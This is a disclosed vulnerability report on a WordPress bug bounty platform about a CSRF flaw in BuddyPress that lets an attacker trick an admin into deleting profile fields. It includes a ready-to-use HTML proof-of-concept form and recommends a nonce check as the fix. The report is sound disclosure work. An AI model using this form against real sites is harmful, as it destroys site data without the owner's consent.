WordPress · Report #836187
CSRF in Profile Fields allows deleting any field in BuddyPress
Validstatus
mediumseverity
5upvotes
22 May 2020disclosed
How it was found
Description:
CSRF in Profile Fields allows deleting any field in BuddyPress Version: Latest
Steps To Reproduce:
Step1: Using a form like so to create the CSRF:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="[domain]/wp-admin/users.php"> <input type="hidden" name="page" value="bp-profile-setup" /> <input type="hidden" name="mode" value="delete_field" /> <input type="hidden" name="field_id" value="[id_field]" /> <input type="submit" value="Submit request" /> </form> </body> </html> Change your [domain] and [id_field] Step 2: When admin click with step 1 was hidden in images,.... Step1 will allow deleting with [id_field]Recommendations
Adding _wpnonce for this function
Impact
Attacker will this vulnerable to delete profile fileds, break availability and integrity.